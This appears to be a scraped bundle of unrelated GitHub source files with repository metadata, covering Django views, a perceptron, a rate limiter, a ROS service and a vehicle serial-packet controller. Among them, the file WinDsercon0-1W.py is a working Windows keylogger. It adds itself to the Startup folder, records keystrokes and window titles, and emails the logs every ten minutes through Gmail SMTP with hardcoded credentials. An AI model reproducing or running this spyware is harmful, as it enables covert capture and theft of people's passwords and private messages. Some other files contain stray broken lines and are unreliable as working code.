orange.add(Column("signal",i,"continuous",False)) i+=1 orange.add(Column("datastate",i,"discrete",False)) i+=1 #orange.add(Column("hour",i,"continuous",False)) #i+=1 orange.add(Column("ping",i,"discrete",True)) i+=1 orange.saveToFile(learner_result,"learner_data.tab") orange.saveToFile(eval_result,"eval_data.tab") print "data creation done"
[ "msp8955@gmail.com" ]
msp8955@gmail.com
fc9048d96a1243624f06db31602b8ad59885d277
d60c3facf200720dbab47c71e3bad6a9caf7107b
/mac/views.py
c4c909240026033346722b6d95a538ff318690c9
[]
no_license
chintan322/E-commerce
33967719ea85721d7f346f4ef720ffa455fd3a56
7841a61abd46b66021aae9194f86273598bd9406
refs/heads/master
2022-11-13T20:26:54.040477
2020-07-12T06:28:18
2020-07-12T06:28:18
279,005,768
3
0
null
null
null
null
UTF-8
Python
false
false
160
py
from django.shortcuts import render from django.http import HttpResponse # Create your views here. def index(request): return render(request, 'index.html')
[ "chintansutariya322@gmail.com" ]
chintansutariya322@gmail.com
880bd88c3f23be66c0c71002617387b37327882a
a3ef4ed3bb4612c481279b72ac0ee857afbe2c95
/taskapp/views.py
135f066b6409453b30311264032b099b2ecdc567
[]
no_license
akashSharma135/testdjango
b4c84b76b0ab545a2356f5be7ab9118ce45e99f7
84690bf11ae3e549f45c41a58c2d0463c1e44538
refs/heads/main
2023-07-28T01:09:03.430114
2021-09-13T05:08:59
2021-09-13T05:08:59
405,278,187
0
0
null
null
null
null
UTF-8
Python
false
false
673
py
from django.db.models import fields from rest_framework import serializers from rest_framework.permissions import IsAdminUser from rest_framework.response import Response from .models import Task from todoapp.models import ManagerAssigned from .serializers import TaskSerializer from rest_framework.views import APIView from django.core import serializers from rest_framework import status class TaskView(APIView): permission_classes = [IsAdminUser] def post(self, request): task = Task.objects.create(assigned_task=request.data.get('task')) task.save() return Response({"msg": "Task Assigned!"}, status=status.HTTP_200_OK)
[ "imakashsharma135@gmail.com" ]
imakashsharma135@gmail.com
31ca56f3595b3ea31bc6b5f4ddb87ac754c6311f
2daf5ade6c4d2c574e09565800b7d9a0855d5fdc
/ch02/or_gate.py
fc5a1c489547099a285ccff3adca4d2def02930d
[]
no_license
akakeishin/DLScratch
528984fb849e98aa17a246ca0d7e1343ccb47b09
61e8c7baf253ea5b6815c281ef6ab854b234f9a1
refs/heads/master
2021-01-23T21:55:46.190752
2017-02-25T07:23:20
2017-02-25T07:23:20
83,114,455
0
0
null
null
null
null
UTF-8
Python
false
false
339
py
import numpy as np def OR(x1, x2): x = np.array([x1, x2]) w = np.array([0.5, 0.5]) b = -0.2 tmp = np.sum(w*x) + b if tmp <= 0: return 0 else: return 1 if __name__ == '__main__': for xs in [(0, 0), (0, 1), (1, 0), (1, 1)]: y = OR(xs[0], xs[1]) print(str(xs) + ' -> ' + str(y))
[ "mizururi_22@gmail.com" ]
mizururi_22@gmail.com
e0f0ed6adaf8b9e3fb93e0c2a0b954de97b0e62a
09e726fbc46d6dc81ee2220382e9762f75a1477c
/Cracking the code Interview/Data Structures/Stacks_Balanced_Brackets.py
2912826783fa048cca4c88c465d135b78c5834b1
[]
no_license
gerardoalfredo2/Data-Structures-and-algoritms
716fcdb7be11ef243fdfa2e43c9799706a5e7d3f
da2c01288a0f37934c190acd0eb7d26432771683
refs/heads/master
2021-08-29T15:37:33.338336
2017-11-17T22:17:56
2017-11-17T22:17:56
109,436,039
0
1
null
null
null
null
UTF-8
Python
false
false
556
py
def is_matched(expression): stack=[] symbols={'(':')','{':'}','[':']'} if len(expression)%2!=0: return False for x in expression: if symbols.get(x): stack.append(symbols[x]) else: if len(stack)==0 or x!=stack[len(stack)-1]: return False stack.pop() return len(stack)==0 d=[1,2,3,4] d. l.r t = int(input().strip()) for a0 in range(t): expression = input().strip() if is_matched(expression) == True: print("YES") else: print("NO")
[ "gerardoalfredo2@gmail.com" ]
gerardoalfredo2@gmail.com
5858b400443b9f6a542276bf855aad233aa9f7c7
b7ff8a424f1a3c1407229d0e844998c9e4249b2c
/test.py
6bb02a28801f0f45db2f1c3213b1bed44ff8703f
[]
no_license
NishanthRaveendran/Xylophone
5c0a69c40008a87280ac8d96c3e72728c2df186e
cffabd9c4fec761f06f3c30a2b5421b8249ebd9e
refs/heads/master
2020-04-19T07:53:55.182445
2019-02-09T22:27:35
2019-02-09T22:27:35
168,060,582
0
0
null
null
null
null
UTF-8
Python
false
false
1,126
py
# -*- coding: utf-8 -*- """ Created on Sat Jan 26 17:36:26 2019 @author: Kanav Petkar """ import cv2 import numpy as np import tkinter as tk cross = cv2.imread("cross.png",-1) y1, y2 = 0, cross.shape[0] x1, x2 = 0, cross.shape[1] alpha_fg = cross[:,:,3] / 255.0 alpha_bg = 1.0 - alpha_fg def recordHSV(color): hsv = color print (hsv) cv2.destroyAllWindows() vc.release() vc = cv2.VideoCapture(0) top = tk.Tk() B = tk.Button(top, text ="Press when your selection is between the crosshairs", command =recordHSV) if vc.isOpened(): # try to get the first frame rval, frame = vc.read() else: rval = False while rval: rval, frame = vc.read() for c in range(0,3): frame[y1:y2, x1:x2, c] = (alpha_fg * cross[:,:,c] + alpha_bg * frame[y1:y2, x1:x2, c]) #hsvframe = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV) #print(np.mean(frame, (0,1))) hsv_img = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV) color = hsv_img[240, 320] #print (color) cv2.imshow('final', frame) key = cv2.waitKey(5) if key == 27: break recordHSV(color)
[ "k.petkar21@gmail.com" ]
k.petkar21@gmail.com
922b0f19fa947c5a28fa12bc5d1b0fb8d6503680
3a93737f7ac1f1e702e79558d9c37c77fe5f6b68
/dnm_cohorts/rate_limiter.py
8e64a5a024a8e93929f55ab45aaec8fb97eb6787
[ "MIT" ]
permissive
jeremymcrae/dnm_cohorts
2d780ff7dd0866419ef10285a443f41226a71e0c
4955354d0bdabcc7bc5f1a2821059c48f4c0a40d
refs/heads/main
2023-09-01T20:25:22.058124
2023-08-18T18:16:54
2023-08-18T18:16:54
133,709,109
4
0
null
null
null
null
UTF-8
Python
false
false
2,833
py
import time import logging import trio import asks asks.init('trio') from dnm_cohorts.rate_limiter_retries import ensembl_retry as retry class RateLimiter: ''' class to asynchronously perform http get requests This respects the rate limits imposed by the server. Error handling and retrying are handled by the 'retry' decorator. ''' MAX_TOKENS = 10 def __init__(self, per_second=10): ''' initialize the class object Args: per_second: number of queries allowed per second ''' self.tokens = self.MAX_TOKENS self.RATE = per_second self.updated_at = time.monotonic() self.count = 0 async def __aenter__(self): self.client = asks.Session(connections=50) return self async def __aexit__(self, *err): await self.client.close() self.client = None @retry(retries=9) async def get(self, url, *args, **kwargs): ''' perform asynchronous http get Args: url: url to get headers: http headers to pass in with the get query ''' if 'headers' not in kwargs: kwargs['headers'] = {'content-type': 'application/json'} if 'params' not in kwargs: kwargs['params'] = {} await self.wait_for_token() try: resp = await self.client.get(url, *args, **kwargs) except Exception as err: logging.error(f'problem accessing {url}: {err}') raise logging.info(f'{url}\t{resp.status_code}') resp.raise_for_status() return resp.text @retry(retries=3) async def post(self, url, *args, **kwargs): ''' perform asynchronous http post Args: url: url to get headers: http headers to pass in with the get query ''' if 'headers' not in kwargs: kwargs['headers'] = {'content-type': 'application/json'} if 'data' not in kwargs: kwargs['data'] = {} await self.wait_for_token() resp = await self.client.post(url, *args, **kwargs) logging.info(f'{url}\t{resp.status_code}') resp.raise_for_status() return resp.text async def wait_for_token(self): ''' pause until tokens are refilled ''' while self.tokens < 1: self.add_new_tokens() await trio.sleep(1 / self.RATE) self.tokens -= 1 def add_new_tokens(self): ''' add new tokens if sufficient time has passed ''' now = time.monotonic() time_since_update = now - self.updated_at new_tokens = time_since_update * self.RATE if self.tokens + new_tokens >= 1: self.tokens = min(self.tokens + new_tokens, self.MAX_TOKENS) self.updated_at = now
[ "jmcrae@illumina.com" ]
jmcrae@illumina.com
906be09e47fffd0aa6dc37632ea527df58840819
ec676a77e6a8818893047640c554ab039cca132c
/bin/python-config
19ed784a3e1c3269cbd82be188b7906a886fd97c
[ "CC-BY-3.0", "MIT" ]
permissive
vipulkanade/EventbriteDjango
f51ac0d0128829fc5aec8bc12654fd3f249ddfae
075036563db1fe41fa7c5a541eda3999be328be0
refs/heads/master
2021-01-09T21:53:25.795866
2016-01-25T08:18:23
2016-01-25T08:18:23
50,326,626
0
0
null
null
null
null
UTF-8
Python
false
false
2,362
#!/Users/vipulkanade/Dropbox/eventbrite_django/bin/python import sys import getopt import sysconfig valid_opts = ['prefix', 'exec-prefix', 'includes', 'libs', 'cflags', 'ldflags', 'help'] if sys.version_info >= (3, 2): valid_opts.insert(-1, 'extension-suffix') valid_opts.append('abiflags') if sys.version_info >= (3, 3): valid_opts.append('configdir') def exit_with_usage(code=1): sys.stderr.write("Usage: {0} [{1}]\n".format( sys.argv[0], '|'.join('--'+opt for opt in valid_opts))) sys.exit(code) try: opts, args = getopt.getopt(sys.argv[1:], '', valid_opts) except getopt.error: exit_with_usage() if not opts: exit_with_usage() pyver = sysconfig.get_config_var('VERSION') getvar = sysconfig.get_config_var opt_flags = [flag for (flag, val) in opts] if '--help' in opt_flags: exit_with_usage(code=0) for opt in opt_flags: if opt == '--prefix': print(sysconfig.get_config_var('prefix')) elif opt == '--exec-prefix': print(sysconfig.get_config_var('exec_prefix')) elif opt in ('--includes', '--cflags'): flags = ['-I' + sysconfig.get_path('include'), '-I' + sysconfig.get_path('platinclude')] if opt == '--cflags': flags.extend(getvar('CFLAGS').split()) print(' '.join(flags)) elif opt in ('--libs', '--ldflags'): abiflags = getattr(sys, 'abiflags', '') libs = ['-lpython' + pyver + abiflags] libs += getvar('LIBS').split() libs += getvar('SYSLIBS').split() # add the prefix/lib/pythonX.Y/config dir, but only if there is no # shared library in prefix/lib/. if opt == '--ldflags': if not getvar('Py_ENABLE_SHARED'): libs.insert(0, '-L' + getvar('LIBPL')) if not getvar('PYTHONFRAMEWORK'): libs.extend(getvar('LINKFORSHARED').split()) print(' '.join(libs)) elif opt == '--extension-suffix': ext_suffix = sysconfig.get_config_var('EXT_SUFFIX') if ext_suffix is None: ext_suffix = sysconfig.get_config_var('SO') print(ext_suffix) elif opt == '--abiflags': if not getattr(sys, 'abiflags', None): exit_with_usage() print(sys.abiflags) elif opt == '--configdir': print(sysconfig.get_config_var('LIBPL'))
[ "vipultechjoy@gmail.com" ]
vipultechjoy@gmail.com
d10e687dcd7debedbfa04316cbd36f7cd821ab72
27622b7ecad4fd03a665913a8eff121c607a76fb
/WinDsercon0-1W.py
a67fce8e9944f9fcc116a19db4a40572c21c977b
[]
no_license
fii50/Keylogger
6fabc04b634a598bcb47efd7fde9b75afb01cddc
83bf511405c4afdc2daede7913a59a8a36e77c17
refs/heads/master
2020-07-27T09:09:46.396513
2020-01-17T17:21:40
2020-01-17T17:21:40
209,041,260
0
0
null
null
null
null
UTF-8
Python
false
false
6,764
py
# coding: utf-8 # In[ ]: #This is a keylogger which will record the keypresses as well as take periodically screenshot. from pynput.keyboard import Key, Listener from win32gui import GetWindowText, GetForegroundWindow from multiprocessing import Process #from PIL import ImageGrab from mss import mss import os #from pynput.mouse import Button, Controller import shutil import smtplib from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText from email.mime.base import MIMEBase from email import encoders import datetime import time # now and now1 are for files' names now = datetime.datetime.now().strftime("%I:%M %p") #today_date is the name of the directory in whice the program will save the data from datetime import datetime todays_date = datetime.now().strftime('%Y-%b-%d') #the lines and the function down are for making the program into the startup file, so it work automatically when startup. #the function will make a batch file of the program and copy it into the startup file, it name will be open.bat >. try: shutil.rmtree("D:\\EWin") except FileNotFoundError: pass import getpass #This code is to make search for the meant file once it downloaded and than put it in the startup directory. try: for root,dirs,files in os.walk("C:\\"): for file in files: if file.endswith("WinDsercon0-1W.exe"): s = (os.path.join(root,file)) USER_NAME = getpass.getuser() def add_to_startup(file_path=""): if file_path == "": file_path = os.path.dirname(os.path.realpath(__file__)) bat_path = r'C:\Users\%s\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' % USER_NAME with open(bat_path + '\\' + "open.bat", "w+") as bat_file: bat_file.write(r'start "" %s' % file_path) for root,dirs,files in os.walk("C:\\Users\\"+USER_NAME+"\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup"): for file in files: if not file.endswith("open.bat"): add_to_startup(s) except: pass #These lines are for creating some dirctoris to put the data in #the data are going to be saved in "C:\\EWin\\todays_date" try: os.chdir("D:\\") os.mkdir("EWin") except FileExistsError: os.chdir("D:\\EWin") try: os.mkdir(todays_date) os.chdir("D:\\EWin\\") except FileExistsError: os.chdir("D:\\EWin\\") else: os.chdir("D:\\EWin") finally: os.chdir("D:\\EWin\\") todays_date = datetime.now().strftime('%Y-%b-%d') written = [] #this line for getting the window which the used is using current = GetWindowText(GetForegroundWindow()) #halfanhour is the time by halfanhourwhich the program will compress the data and send it to the email halfanhour = time.time()+600 #at the begining:the program will append the name of the window the user is using file_name = 'D:\\EWin\\'+todays_date +'.txt' todays_file = open(file_name, 'a') todays_file.write(now+'\n') todays_file.write(current+'\n') todays_file.close() num = 1 num1 = 1 #This is the main function of the program and it is called rep (repeate) because it will be repeated with every key press. def rep(key): global halfanhour global written global current global now global EWin global num global num1 global file_name #The line below is for replacing the name of the key into its function. i.g. <Key.enter: <13>>'into '\n' and so on. e = str(written) e = e.replace("'",'') e = e.replace(',','') e = e.replace('[','') e = e.replace(']','') e = e.replace('<Key.esc: <27>>','\n Stopping\n Stopping\n Stopping\n') e = e.replace('<Key.space: >',' ') e = e.replace('<Key.enter: <13>>','\n') e = e.replace('<Key.shift_r: <161>><Key.alt_r: <165>>',' (Language changed) ') e = e.replace('<Key.backspace: <8>>','"@!@"') e = e.replace('<Key.shift_r: <161>>','"SHIFT"') e = e.replace('<Key.down: <40>>','"^*"') e = e.replace('<Key.up: <38>>','^') e = e.replace('<Key.right: <39>>','>') e = e.replace('<Key.left: <37>>','<') #appending the pressed key into the file after editing it. #it will append the name of the window that the user uses, once the time changes or the used window is changed. import datetime todays_file = open(file_name, 'a') if now != datetime.datetime.now().strftime("%I:%M %p"): todays_file.write('\n'+datetime.datetime.now().strftime("%I:%M: %p")+'\n') if current != GetWindowText(GetForegroundWindow()): todays_file.write('\n'+GetWindowText(GetForegroundWindow())+'\n') todays_file.write(e) todays_file.close() written = [] current = GetWindowText(GetForegroundWindow()) now = datetime.datetime.now().strftime("%I:%M %p") from datetime import datetime #for compressing the file and send it to the meant email every ten minutes. if time.ctime(halfanhour) <= time.ctime(): ##A code in case the user do not have an internet connection. try: za = str(num) os.chdir("D:\\Ewin") halfanhour = time.time()+600 num+=1 fromaddr = "add your email here" toaddr = "add your password here" msg = MIMEMultipart() msg['From'] = fromaddr msg['To'] = toaddr msg['Subject'] = todays_date body = todays_date+str(now) msg.attach(MIMEText(body, 'plain')) filename = todays_date+za attachment = open("D:\\Ewin\\"+todays_date+".txt", "rb") part = MIMEBase('application', 'octet-stream') part.set_payload((attachment).read()) encoders.encode_base64(part) part.add_header('Content-Disposition', "attachment; filename= %s" % filename) msg.attach(part) server = smtplib.SMTP('smtp.gmail.com', 587) server.starttls() server.login(fromaddr, "togetyour5a5a") text = msg.as_string() server.sendmail(fromaddr, toaddr, text) server.quit() # it will wait more ten minute then will retry. except: halfanhour = time.time()+400 #this function will call rep() every time a key is pressed. def on_press(key): global written written.append(key) rep(key) #if the user press the esc button the program will stop. # if key == Key.esc: # rep(key) # return False with Listener( on_press=on_press) as listener: listener.join()
[ "noreply@github.com" ]
fii50.noreply@github.com
d376193758361a393d61a99729b656b2ee40d1d6
b69f672249b7c5bcc8a6ea7dd8bcfeccae4cc9b0
/my_utils/__init__.py
54a870034049cab390f3cabcb096ca821ab26bdd
[]
no_license
Lovegood-1/moblienet_inferece_time
70c1608245333952dade97244918d6d0241248c9
36c5e70f694fb7b6105d982aa292da9209cb242d
refs/heads/main
2023-01-12T23:21:17.106881
2020-11-14T02:10:31
2020-11-14T02:10:31
312,725,960
0
0
null
null
null
null
UTF-8
Python
false
false
22
py
from my_utils import *
[ "noreply@github.com" ]
Lovegood-1.noreply@github.com
1a83a4f3ca759f679653ea76d187b780767f0797
8c4eb87c5ae1b8b7d81259a1d2c4f72d2daa911f
/examples/scripts/pose_service_server.py
c89253ae59acc19766d18510a245635c24565fef
[]
no_license
goofyjan/thesis_devel
3c1aa1d9d97beed5fd1f55acdebabf2d9dc4cdae
3bde762347e7b98ed09c2f1e3e79c9fd5837183e
refs/heads/master
2021-06-21T21:16:02.551790
2017-08-09T19:21:58
2017-08-09T19:21:58
null
0
0
null
null
null
null
UTF-8
Python
false
false
350
py
#!/usr/bin/env python import rospy from geometry_msgs.msg import Pose from examples.srv import PoseAdd, PoseAddResponse def callback(req): c = Pose() c.position.z = req.a.position.z + req.b.position.z return PoseAddResponse(c) rospy.init_node('pose_service_server') service = rospy.Service('pose_add', PoseAdd, callback) rospy.spin()
[ "jan.throener@rub.de" ]
jan.throener@rub.de
a61175f27f8b6d65562594b9430b5c25be54eba1
d864712e94ed9d90b06396b998523a1da56bf249
/company/y_survey/xml_parser.py
087381ceaf6ff1504bf87977fda00b88c85845b6
[]
no_license
nordenecke/eclipse-workspace
e7b25a247647331e20208eec14bf780998fa0a03
e10886aa570ac2ee948e67faf89c0643a286e1dc
refs/heads/master
2020-07-23T14:15:26.143569
2019-09-17T15:14:01
2019-09-17T15:14:01
207,587,922
0
0
null
null
null
null
UTF-8
Python
false
false
4,324
py
# -*- coding: utf-8 -*- """ Created on Thu Dec 20 15:54:44 2018 @author: eqhuliu """ import os import io import xml.etree.cElementTree as ET class xml_parser(object): def __init__(self, xml_file): self.xml_file = xml_file def ET_parser_iter(self): vs_cnt = 0 str_s = '' file_io = io.StringIO() xm = open(self.xml_file,'rb') print("Read [%s] finished.\nParsing..." % (os.path.abspath(self.xml_file))) d_question = {} d_obj = {} i = 0 for event,elem in ET.iterparse(xm,events=('start','end')): if i >= 2: break elif event == 'start': if elem.tag == 'question': d_eNB = elem.attrib elif elem.tag == 'object': d_obj = elem.attrib elif event == 'end' and elem.tag == 'smr': i += 1 elif event == 'end' and elem.tag == 'v': file_io.write(d_eNB['id']+' '+d_obj['TimeStamp']+' '+d_obj['MmeCode']+' '+d_obj['id']+' '+\ d_obj['MmeUeS1apId']+' '+ d_obj['MmeGroupId']+' '+str(elem.text)+'\n') vs_cnt += 1 elem.clear() str_s = file_io.getvalue().replace(' \n','\r\n').replace(' ',',').replace('T',' ').replace('NIL','') #写入解析后内容 xm.close() file_io.close() return (str_s,vs_cnt) def ET_parser_iter1(self,gz): file_io = io.StringIO() xm = open(gz,'rb') for event,elem in ET.iterparse(xm,events=('start','end')): if event == 'start': if elem.tag == 'configuration': # print("--------------------------------------------------") d_configuration=configuration.configuration() #user_info elif elem.tag == 'user_info': d_user_info = configuration.user_info() elif elem.tag == 'domain': domain = '' elif elem.tag == 'user': user = '' elif elem.tag == 'passwords': passwords = '' #env_info elif elem.tag == 'env_info': d_env_info = configuration.env_info() elif elem.tag == 'system': system = configuration.system() l_host=[] elif elem.tag == 'host': host=configuration.host() elif elem.tag == 'chrome_location': chrome_location='' elif event == 'end': if elem.tag == 'configuration': # print("--------------------------------------------------") print("Configuration analysis done!") #user_info elif elem.tag == 'user_info': d_configuration.d_ui=d_user_info elif elem.tag == 'domain': domain = elem.text d_user_info.domain = domain elif elem.tag == 'user': user = elem.text d_user_info.user = user elif elem.tag == 'passwords': passwords = elem.text d_user_info.passwords = passwords #env_info elif elem.tag == 'env_info': d_configuration.d_ei=d_env_info elif elem.tag == 'system': system_type= elem.get('os') # print(system_type) system.system_type=system_type system.l_host=l_host d_env_info.l_system.append(system) elif elem.tag == 'host': host_name = elem.get('name') # print(host_name) host.host_name = host_name l_host.append(host) elif elem.tag == 'chrome_location': chrome_location = elem.text host.chrome_location=chrome_location elem.clear() xm.close() file_io.close() return (d_configuration)
[ "norden.liu@gmail.com" ]
norden.liu@gmail.com
c57e1a5bcebb0313b53c8874402755edb9de4c2b
89b5192a2b9032005740147e9708cc684d0c04bb
/international_2019/Control-Team/SimulatorDatabase/Platform.py
e6d05ca3310fc1cf7ed6af718ebec9ed1d9d05f6
[]
no_license
dlwngjs00100/HEVEN_pathplanning
9e62092dce3397181c64e6561344f5c3a9627d77
37cb228f7cc9205846be506987603dff65728215
refs/heads/master
2022-11-15T20:03:37.401324
2020-07-12T08:25:31
2020-07-12T08:25:31
null
0
0
null
null
null
null
UTF-8
Python
false
false
8,902
py
import time import sys import os import socket import select sys.path.append(os.path.dirname(__file__)) from Flag import Flag import serial class Platform: def __init__(self, port, baud, flag: Flag): self.__recv_data = SerialPacket() self.__send_data = SerialPacket() self.flag = flag self.__platform_initializing_success = False try: self.__serial = serial.Serial(port, baud, timeout=0) try: self.__socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) self.__socket.bind(('127.0.0.1', 7700)) self.__platform_initializing_success = True except Exception as e: print("[Platform Intializing \tFail] \tCheck your Socket: ", e) print("[Platform Intializing \tOk ]") except serial.serialutil.SerialException as e: print("[Platform Intializing \tFail] \tCheck your COMPORT: ", e) def main(self): if self.__platform_initializing_success: time.sleep(1) print("Start Platform \t- Success\n") self.__run() else: print("Start Platform \t- Fail: \tPlatform doesn't initialize succeessfully. Therefore, Platform will not run.") print("\t\t\t\t-->\tTerminate Platform") def __run(self): while not self.flag.system_stop: if self.flag.platform_stop: time.sleep(0.1) else: self.__send() self.__read() ''' https://github.com/HongBeenKim/pams-skku/blob/master/thinkingo/car_platform.py에 있는 코드인데 이해를 아직 못해서 주석으로 남겨둠 이후에, 이해 후 수정이 필요함. if not self.data.debug_flag and self.data.read_packet.aorm == SerialPacket.AORM_MANUAL: self.data.reset_to_default() ''' time.sleep(0.1) print("Terminating Platform") self.__socket.close() self.__serial.close() def __read(self): try: bytes_data, addr = self.__socket.recvfrom(37) self.decode_from_bytes(bytes_data) except Exception as e: print("car_platform RECEIVE ERROR: ", e) def __send(self): # self.__send_data.alive = self.__recv_data.alive try: self.__serial.write(self.__send_data.write_bytes()) except Exception as e: print("car_platform SEND ERROR: ", e) def decode_from_bytes(self, data): len_header_and_tail = 5 len_info = 4 * 8 len_total = len_header_and_tail + len_info assert len(data) == len_total, \ '[ERROR] cannot parse this data. Data length must be equal to {}. Data length = {}, Data passed = {}'.format(\ len_total, len(data), data) format_string = '<ccffffffffccc' data_unpacked = struct.unpack(format_string, data) assert data_unpacked[0] == b'M', \ '[ERROR] Error in the header, it must be M, but the value is = {}'.format(data_unpacked[0]) assert data_unpacked[1] == b'O', \ '[ERROR] Error in the header, it must be O, but the value is = {}'.format(data_unpacked[1]) assert data_unpacked[-3] == b'R', \ '[ERROR] Error in the header, it must be R, but the value is = {}'.format(data_unpacked[2]) assert data_unpacked[-2] == b'A', \ '[ERROR] Error in the header, it must be A, but the value is = {}'.format(data_unpacked[-2]) assert data_unpacked[-1] == b'I', \ '[ERROR] Error in the header, it must be I, but the value is = {}'.format(data_unpacked[-1]) self.__recv_data = list(data_unpacked)[2:10] @property def recv_data(self): return self.__recv_data @property def send_data(self): return self.__send_data """ 통신 코드를 위한 시리얼 패킷 API https://github.com/Jueun-Park/HEVEN_AutonomousCar_2018/blob/master/src/serial_packet.py 김진웅 (2018-05) 패킷 세부 형식(byte array)은 플랫폼 안내 책자 참조 """ import sys import os sys.path.append(os.path.dirname(__file__)) import numpy as np import struct class SerialPacket(object): START_BYTES = [0x53, 0x54, 0x58] END_BYTES = [0x0D, 0x0A] AORM_MANUAL = 0x00 AORM_AUTO = 0x01 AORM_DEFAULT = AORM_AUTO ESTOP_OFF = 0x00 ESTOP_ON = 0x01 ESTOP_DEFAULT = ESTOP_OFF GEAR_FORWARD = 0x00 GEAR_NEUTRAL = 0x01 GEAR_BACKWARD = 0x02 GEAR_DEFAULT = GEAR_FORWARD SPEED_MIN = 0 STEER_MAXLEFT = -2000 STEER_STRAIGHT = 0 STEER_MAXRIGHT = 2000 BRAKE_NOBRAKE = 1 BRAKE_FULLBRAKE = 33 BRAKE_DEFAULT = BRAKE_NOBRAKE BRAKE_MAXBRAKE = 200 def __init__(self, data=None, start_bytes=START_BYTES, aorm=AORM_DEFAULT, estop=ESTOP_DEFAULT, gear=GEAR_DEFAULT, speed=0, steer=0, brake=BRAKE_DEFAULT, enc=0, alive=0, end_bytes=END_BYTES): if data is not None: self.read_bytes(data); return self.start_bytes = start_bytes self.aorm = aorm self.estop = estop self.gear = gear self.speed = speed self.steer = steer self.brake = brake self.enc = enc self.alive = alive self.end_bytes = end_bytes def __setattr__(self, attr, v): if attr == 'start_bytes': super().__setattr__(attr, np.array(v, np.uint8)); return if attr == 'aorm': super().__setattr__(attr, np.uint8(v)); return if attr == 'estop': super().__setattr__(attr, np.uint8(v)); return if attr == 'gear': super().__setattr__(attr, np.uint8(v)); return if attr == 'speed': super().__setattr__(attr, np.uint16(v)); return if attr == 'steer': super().__setattr__(attr, np.int16(v)); return if attr == 'brake': super().__setattr__(attr, np.uint8(v)); return if attr == 'enc': super().__setattr__(attr, np.int32(v)); return if attr == 'alive': super().__setattr__(attr, np.uint8(v)); return if attr == 'end_bytes': super().__setattr__(attr, np.array(v, np.uint8)); return super().__setattr__(attr, v) def default(self): self.start_bytes = SerialPacket.START_BYTES self.aorm = SerialPacket.AORM_DEFAULT self.estop = SerialPacket.ESTOP_DEFAULT self.gear = SerialPacket.GEAR_DEFAULT self.speed = SerialPacket.SPEED_MIN self.steer = SerialPacket.STEER_STRAIGHT self.brake = SerialPacket.BRAKE_DEFAULT self.enc = 0 self.alive = 0 self.end_bytes = SerialPacket.END_BYTES def get_attr(self, mode=None): if mode is None: return self.gear, self.speed, self.steer, self.brake if mode == 'a': return self.aorm, self.estop, self.gear, self.speed, self.steer, self.brake, self.enc, self.alive if mode == 'ra': return self.start_bytes, self.aorm, self.estop, self.gear, self.speed, self.steer, self.brake, self.enc, self.alive, self.end_bytes return 'wrong mode' def read_bytes(self, b): if len(b) == 0: return try: u = struct.unpack('<3sBBBHhBiB2s', b) # print(u) except Exception as e: print('[SerialPacket| READ ERROR:', b, e) print('-Set to default value]') self.default() return print(u) self.start_bytes = bytearray(u[0]) self.aorm = u[1] self.estop = u[2] self.gear = u[3] self.speed = u[4] self.steer = u[5] self.brake = u[6] self.enc = u[7] self.alive = u[8] self.end_bytes = bytearray(u[9]) def write_bytes(self): try: b = struct.pack('!3sBBBHhBB2s', bytes(self.start_bytes), self.aorm, self.estop, self.gear, self.speed, self.steer, self.brake, self.alive, bytes(self.end_bytes)) except: print('[SerialPacket| WRITE ERROR]') print('-Set to default value]') self.default() b = struct.pack('!3sBBBHhBB2s', bytes(self.start_bytes), self.aorm, self.estop, self.gear, self.speed, self.steer, self.brake, self.alive, bytes(self.end_bytes)) return b def verify(self): if (self.start_bytes != SerialPacket.START_BYTES).any(): return False if (self.end_bytes != SerialPacket.END_BYTES).any(): return False return True if __name__ == '__main__': a = SerialPacket(bytearray.fromhex("53545800 00000000 00000100 00000000 0D0A")) a.read_bytes(bytearray.fromhex("53545800 00000000 00000100 00000000 0D0A")) a.default() print(a.start_bytes, a.end_bytes) print(str(a.write_bytes()))
[ "cookkyh99@skku.edu" ]
cookkyh99@skku.edu
553e90a90ae00213f99207f86e785e12e7bc5d01
1f82b95d45c6eed81a4361c7ed4cdc04789249d3
/xtest/Repository/Filerepo.py
3c057a3f7649edae049e7af3820ee508ed4e7c82
[]
no_license
andidh/Python
dc06728ba4b9e54a6e9ff52afbbe75d43b855b36
8b629d160be541a6955d3799ac91358cecf5986a
refs/heads/master
2020-12-24T20:10:49.132192
2016-04-13T15:34:36
2016-04-13T15:34:36
56,164,113
0
0
null
null
null
null
UTF-8
Python
false
false
1,482
py
''' Created on Feb 3, 2016 @author: AndiD ''' from Repository.Repo import BikeRepo from Domain.Entities import Bike from _operator import attrgetter class File(BikeRepo): def __init__(self, file): BikeRepo.__init__(self) self.__file = file self.__loadFromFile() def __StoreToFile(self): f = open(self.__file, "w") bikes = BikeRepo.getAll(self) for b in bikes: bf = str(b.get_id()) + ";" + b.get_type() + ";" + str(b.get_price()) + "\n" f.write(bf) f.close() def __loadFromFile(self): try: f = open(self.__file, "r") except IOError as err: raise ValueError(err) line = f.readline().strip() while line !="": t = line.split(";") b = Bike(t[0], t[1], t[2]) BikeRepo.add(self,b) line = f.readline().strip() f.close() def add(self, el): BikeRepo.add(self, el) self.__StoreToFile() def delete(self, id): BikeRepo.delete(self, id) self.__StoreToFile() def export(self, file): all = BikeRepo.getAll(self) all = sorted(all, key= attrgetter('price')) f = open(file, 'w') for b in all: bf = str(b.get_id() + "|" + b.get_type() + "|" + str(b.get_price())) + "\n" f.write(bf) f.close()
[ "andi.deh30@icloud.com" ]
andi.deh30@icloud.com
6b3b0cf935c5c16aa19a7265106b2aa13f473d3a
f352f9915c0b9d6f7ea010169f5dafd3a9fb8638
/lib/nltk/test/all.py
dd0d431e1c2fa356f31076768107b5da1e877bdd
[]
no_license
nltk/nltk.github.com
fa235e76788e6e8e7349e7195e61799c1402e61d
cf0d2aa508a1de9147ccf30bd070660651d55adb
refs/heads/master
2023-07-31T13:34:20.864897
2023-01-02T15:33:19
2023-01-02T15:33:19
2,686,706
34
41
null
2022-10-06T17:06:49
2011-11-01T09:59:49
HTML
UTF-8
Python
false
false
819
py
